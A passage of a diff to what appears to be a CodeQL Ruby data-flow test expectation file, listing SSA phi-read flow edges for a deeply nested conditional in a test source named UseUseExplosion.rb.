UseUseExplosion.rb:20:1715:20:1724 | ... > ... | UseUseExplosion.rb:20:1714:20:1725 | [true] ( ... ) | -| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) | -| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) | | UseUseExplosion.rb:20:1727:20:2388 | then ... | UseUseExplosion.rb:20:1711:20:2404 | if ... | -| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1732:20:2388 | if ... | UseUseExplosion.rb:20:1727:20:2388 | then ... | | UseUseExplosion.rb:20:1736:20:1740 | [post] self | UseUseExplosion.rb:20:1757:20:1761 | self | | UseUseExplosion.rb:20:1736:20:1740 | [post] self | UseUseExplosion.rb:20:2379:20:2384 | self | @@ -1194,11 +865,7 @@ | UseUseExplosion.rb:20:1736:20:1740 | self | UseUseExplosion.rb:20:2379:20:2384 | self | | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [false] ( ... ) | | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [true] ( ... ) | -| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) | -| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) | | UseUseExplosion.rb:20:1748:20:2372 | then ... | UseUseExplosion.rb:20:1732:20:2388 | if ... | -| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1753:20:2372 | if ... | UseUseExplosion.rb:20:1748:20:2372 | then ... | | UseUseExplosion.rb:20:1757:20:1761 | [post] self | UseUseExplosion.rb:20:1778:20:1782 | self | | UseUseExplosion.rb:20:1757:20:1761 | [post] self | UseUseExplosion.rb:20:2363:20:2368 | self | @@ -1206,11 +873,7 @@ | UseUseExplosion.rb:20:1757:20:1761 | self | UseUseExplosion.rb:20:2363:20:2368 | self | | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [false] ( ... ) | | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [true] ( ... ) | -| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) | -| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) | | UseUseExplosion.rb:20:1769:20:2356 | then ... | UseUseExplosion.rb:20:1753:20:2372 | if ... | -| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1774:20:2356 | if ... | UseUseExplosion.rb:20:1769:20:2356 | then ... | | UseUseExplosion.rb:20:1778:20:1782 | [post] self | UseUseExplosion.rb:20:1799:20:1803 | self | | UseUseExplosion.rb:20:1778:20:1782 | [post] self | UseUseExplosion.rb:20:2347:20:2352 | self | @@ -1218,11 +881,7 @@ | UseUseExplosion.rb:20:1778:20:1782 | self | UseUseExplosion.rb:20:2347:20:2352 | self | | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [false] ( ... ) | | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [true] ( ... ) | -| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) | -| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) | | UseUseExplosion.rb:20:1790:20:2340 | then ... | UseUseExplosion.rb:20:1774:20:2356 | if ... | -| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1795:20:2340 | if ... | UseUseExplosion.rb:20:1790:20:2340 | then ... | | UseUseExplosion.rb:20:1799:20:1803 | [post] self | UseUseExplosion.rb:20:1820:20:1824 | self | | UseUseExplosion.rb:20:1799:20:1803 | [post] self | UseUseExplosion.rb:20:2331:20:2336 | self | @@ -1230,11 +889,7 @@ | UseUseExplosion.rb:20:1799:20:1803 | self | UseUseExplosion.rb:20:2331:20:2336 | self | | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [false] ( ... ) | | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [true] ( ... ) | -| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) | -| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) | | UseUseExplosion.rb:20:1811:20:2324 | then ... | UseUseExplosion.rb:20:1795:20:2340 | if ... | -| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1816:20:2324 | if ... | UseUseExplosion.rb:20:1811:20:2324 | then ... | | UseUseExplosion.rb:20:1820:20:1824 | [post] self | UseUseExplosion.rb:20:1841:20:1845 | self | | UseUseExplosion.rb:20:1820:20:1824 | [post] self | UseUseExplosion.rb:20:2315:20:2320 | self | @@ -1242,11 +897,7 @@ | UseUseExplosion.rb:20:1820:20:1824 | self | UseUseExplosion.rb:20:2315:20:2320 | self | | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [false] ( ... ) | | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [true] ( ... ) | -| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) | -| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) | | UseUseExplosion.rb:20:1832:20:2308 | then ... | UseUseExplosion.rb:20:1816:20:2324 | if ... | -| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1837:20:2308 | if ... | UseUseExplosion.rb:20:1832:20:2308 | then ... | | UseUseExplosion.rb:20:1841:20:1845 | [post] self | UseUseExplosion.rb:20:1862:20:1866 | self | | UseUseExplosion.rb:20:1841:20:1845 | [post] self | UseUseExplosion.rb:20:2299:20:2304 | self | @@ -1254,11 +905,7 @@ | UseUseExplosion.rb:20:1841:20:1845 | self | UseUseExplosion.rb:20:2299:20:2304 | self | | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [false] ( ... ) | | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [true] ( ... ) | -| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) | -| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) | | UseUseExplosion.rb:20:1853:20:2292 | then ... | UseUseExplosion.rb:20:1837:20:2308 | if ... | -| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1858:20:2292 | if ... | UseUseExplosion.rb:20:1853:20:2292 | then ... | | UseUseExplosion.rb:20:1862:20:1866 | [post] self | UseUseExplosion.rb:20:1883:20:1887 | self | | UseUseExplosion.rb:20:1862:20:1866 | [post] self | UseUseExplosion.rb:20:2283:20:2288 | self | @@ -1266,11 +913,7 @@ | UseUseExplosion.rb:20:1862:20:1866 | self | UseUseExplosion.rb:20:2283:20:2288 | self | | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [false] ( ... ) | | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [true] ( ... ) | -| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) | -| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) | | UseUseExplosion.rb:20:1874:20:2276 | then ... | UseUseExplosion.rb:20:1858:20:2292 | if ... | -| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1879:20:2276 | if ... | UseUseExplosion.rb:20:1874:20:2276 | then ... | | UseUseExplosion.rb:20:1883:20:1887 | [post] self | UseUseExplosion.rb:20:1904:20:1908 | self | | UseUseExplosion.rb:20:1883:20:1887 | [post] self | UseUseExplosion.rb:20:2267:20:2272 | self | @@ -1278,11 +921,7 @@ | UseUseExplosion.rb:20:1883:20:1887 | self | UseUseExplosion.rb:20:2267:20:2272 | self | | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [false] ( ... ) | | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [true] ( ... ) | -| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) | -| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) | | UseUseExplosion.rb:20:1895:20:2260 | then ... | UseUseExplosion.rb:20:1879:20:2276 | if ... | -| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1900:20:2260 | if ... | UseUseExplosion.rb:20:1895:20:2260 | then ... | | UseUseExplosion.rb:20:1904:20:1908 | [post] self | UseUseExplosion.rb:20:1925:20:1929 | self | | UseUseExplosion.rb:20:1904:20:1908 | [post] self | UseUseExplosion.rb:20:2251:20:2256 | self | @@ -1290,11 +929,7 @@ | UseUseExplosion.rb:20:1904:20:1908 | self | UseUseExplosion.rb:20:2251:20:2256 | self | | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [false] ( ... ) | | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [true] ( ... ) | -| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) | -| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) | | UseUseExplosion.rb:20:1916:20:2244 | then ... | UseUseExplosion.rb:20:1900:20:2260 | if ... | -| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1921:20:2244 | if ... | UseUseExplosion.rb:20:1916:20:2244 | then ... | | UseUseExplosion.rb:20:1925:20:1929 | [post] self | UseUseExplosion.rb:20:1945:20:1949 | self | | UseUseExplosion.rb:20:1925:20:1929 | [post] self | UseUseExplosion.rb:20:2235:20:2240 | self | @@ -1302,11 +937,7 @@ | UseUseExplosion.rb:20:1925:20:1929 | self | UseUseExplosion.rb:20:2235:20:2240 | self | | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [false] ( ... ) | | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [true] ( ... ) | -| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) | -| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) | | UseUseExplosion.rb:20:1936:20:2228 | then ... | UseUseExplosion.rb:20:1921:20:2244 | if ... | -| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1941:20:2228 | if ... | UseUseExplosion.rb:20:1936:20:2228 | then ... | | UseUseExplosion.rb:20:1945:20:1949 | [post] self | UseUseExplosion.rb:20:1965:20:1969 | self | | UseUseExplosion.rb:20:1945:20:1949 | [post] self | UseUseExplosion.rb:20:2219:20:2224 | self | @@ -1314,11 +945,7 @@ | UseUseExplosion.rb:20:1945:20:1949 | self | UseUseExplosion.rb:20:2219:20:2224 | self | | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [false] ( ... ) | | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [true] ( ... ) | -| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) | -| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) | | UseUseExplosion.rb:20:1956:20:2212 | then ... | UseUseExplosion.rb:20:1941:20:2228 | if ... | -| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1961:20:2212 | if ... | UseUseExplosion.rb:20:1956:20:2212 | then ... | | UseUseExplosion.rb:20:1965:20:1969 | [post] self | UseUseExplosion.rb:20:1985:20:1989 | self | | UseUseExplosion.rb:20:1965:20:1969 | [post] self | UseUseExplosion.rb:20:2203:20:2208 | self | @@ -1326,11 +953,7 @@ | UseUseExplosion.rb:20:1965:20:1969 | self | UseUseExplosion.rb:20:2203:20:2208 | self | | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [false] ( ... ) | | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [true] ( ... ) | -| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) | -| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) | | UseUseExplosion.rb:20:1976:20:2196 | then ... | UseUseExplosion.rb:20:1961:20:2212 | if ... | -| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:1981:20:2196 | if ... | UseUseExplosion.rb:20:1976:20:2196 | then ... | | UseUseExplosion.rb:20:1985:20:1989 | [post] self | UseUseExplosion.rb:20:2005:20:2009 | self | | UseUseExplosion.rb:20:1985:20:1989 | [post] self | UseUseExplosion.rb:20:2187:20:2192 | self | @@ -1338,11 +961,7 @@ | UseUseExplosion.rb:20:1985:20:1989 | self | UseUseExplosion.rb:20:2187:20:2192 | self | | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [false] ( ... ) | | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [true] ( ... ) | -| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) | -| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) | | UseUseExplosion.rb:20:1996:20:2180 | then ... | UseUseExplosion.rb:20:1981:20:2196 | if ... | -| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2001:20:2180 | if ... | UseUseExplosion.rb:20:1996:20:2180 | then ... | | UseUseExplosion.rb:20:2005:20:2009 | [post] self | UseUseExplosion.rb:20:2025:20:2029 | self | | UseUseExplosion.rb:20:2005:20:2009 | [post] self | UseUseExplosion.rb:20:2171:20:2176 | self | @@ -1350,11 +969,7 @@ | UseUseExplosion.rb:20:2005:20:2009 | self | UseUseExplosion.rb:20:2171:20:2176 | self | | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [false] ( ... ) | | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [true] ( ... ) | -| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) | -| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) | | UseUseExplosion.rb:20:2016:20:2164 | then ... | UseUseExplosion.rb:20:2001:20:2180 | if ... | -| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2021:20:2164 | if ... | UseUseExplosion.rb:20:2016:20:2164 | then ... | | UseUseExplosion.rb:20:2025:20:2029 | [post] self | UseUseExplosion.rb:20:2045:20:2049 | self | | UseUseExplosion.rb:20:2025:20:2029 | [post] self | UseUseExplosion.rb:20:2155:20:2160 | self | @@ -1362,11 +977,7 @@ | UseUseExplosion.rb:20:2025:20:2029 | self | UseUseExplosion.rb:20:2155:20:2160 | self | | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [false] ( ... ) | | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [true] ( ... ) | -| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | -| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | | UseUseExplosion.rb:20:2036:20:2148 | then ... | UseUseExplosion.rb:20:2021:20:2164 | if ... | -| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2041:20:2148 | if ... | UseUseExplosion.rb:20:2036:20:2148 | then ... | | UseUseExplosion.rb:20:2045:20:2049 | [post] self | UseUseExplosion.rb:20:2065:20:2069 | self | | UseUseExplosion.rb:20:2045:20:2049 | [post] self | UseUseExplosion.rb:20:2139:20:2144 | self | @@ -1374,11 +985,7 @@ | UseUseExplosion.rb:20:2045:20:2049 | self | UseUseExplosion.rb:20:2139:20:2144 | self | | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [false] ( ... ) | | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [true] ( ... ) | -| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | -| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | | UseUseExplosion.rb:20:2056:20:2132 | then ... | UseUseExplosion.rb:20:2041:20:2148 | if ... | -| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2061:20:2132 | if ... | UseUseExplosion.rb:20:2056:20:2132 | then ... | | UseUseExplosion.rb:20:2065:20:2069 | [post] self | UseUseExplosion.rb:20:2085:20:2089 | self | | UseUseExplosion.rb:20:2065:20:2069 | [post] self | UseUseExplosion.rb:20:2123:20:2128 | self | @@ -1386,11 +993,7 @@ | UseUseExplosion.rb:20:2065:20:2069 | self | UseUseExplosion.rb:20:2123:20:2128 | self | | UseUseExplosion.rb:20:2065:20:2073 | ... > ... | UseUseExplosion.rb:20:2064:20:2074 | [false] ( ... ) | | UseUseExplosion.rb:20:2065:20:2073 | ... > ... | UseUseExplosion.rb:20:2064:20:2074 | [true] ( ... ) | -| UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) | -| UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) | | UseUseExplosion.rb:20:2076:20:2116 | then ... | UseUseExplosion.rb:20:2061:20:2132 | if ... | -| UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) | UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) | UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:2081:20:2116 | if ... | UseUseExplosion.rb:20:2076:20:2116 | then ... | | UseUseExplosion.rb:20:2085:20:2089 | [post] self | UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) | | UseUseExplosion.rb:20:2085:20:2089 | [post] self | UseUseExplosion.rb:20:2107:20:2112 | self | @@ -1398,709 +1001,509 @@ | UseUseExplosion.rb:20:2085:20:2089 | self | UseUseExplosion.rb:20:2107:20:2112 | self | | UseUseExplosion.rb:20:2085:20:2093 | ... > ... | UseUseExplosion.rb:20:2084:20:2094 | [false] ( ... ) | | UseUseExplosion.rb:20:2085:20:2093 | ... > ... | UseUseExplosion.rb:20:2084:20:2094 | [true] ( ... ) | -| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) | -| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) | +| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2096:20:2099 | then ... | UseUseExplosion.rb:20:2081:20:2116 | if ... | -| UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) | -| UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) | | UseUseExplosion.rb:20:2102:20:2112 | else ... | UseUseExplosion.rb:20:2081:20:2116 | if ... | -| UseUseExplosion.rb:20:2107:20:2112 | [post] self | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2107:20:2112 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2107:20:2112 | call to use | UseUseExplosion.rb:20:2102:20:2112 | else ... | -| UseUseExplosion.rb:20:2107:20:2112 | self | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2111:20:2111 | x | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) | -| UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) | +| UseUseExplosion.rb:20:2107:20:2112 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2111:20:2111 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2118:20:2128 | else ... | UseUseExplosion.rb:20:2061:20:2132 | if ... | -| UseUseExplosion.rb:20:2123:20:2128 | [post] self | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2123:20:2128 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2123:20:2128 | call to use | UseUseExplosion.rb:20:2118:20:2128 | else ... | -| UseUseExplosion.rb:20:2123:20:2128 | self | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2127:20:2127 | x | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | -| UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | +| UseUseExplosion.rb:20:2123:20:2128 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2127:20:2127 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2134:20:2144 | else ... | UseUseExplosion.rb:20:2041:20:2148 | if ... | -| UseUseExplosion.rb:20:2139:20:2144 | [post] self | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2139:20:2144 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2139:20:2144 | call to use | UseUseExplosion.rb:20:2134:20:2144 | else ... | -| UseUseExplosion.rb:20:2139:20:2144 | self | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2143:20:2143 | x | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | -| UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | +| UseUseExplosion.rb:20:2139:20:2144 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2143:20:2143 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2150:20:2160 | else ... | UseUseExplosion.rb:20:2021:20:2164 | if ... | -| UseUseExplosion.rb:20:2155:20:2160 | [post] self | UseUseExplosion.rb:20:2150:20:2160 | 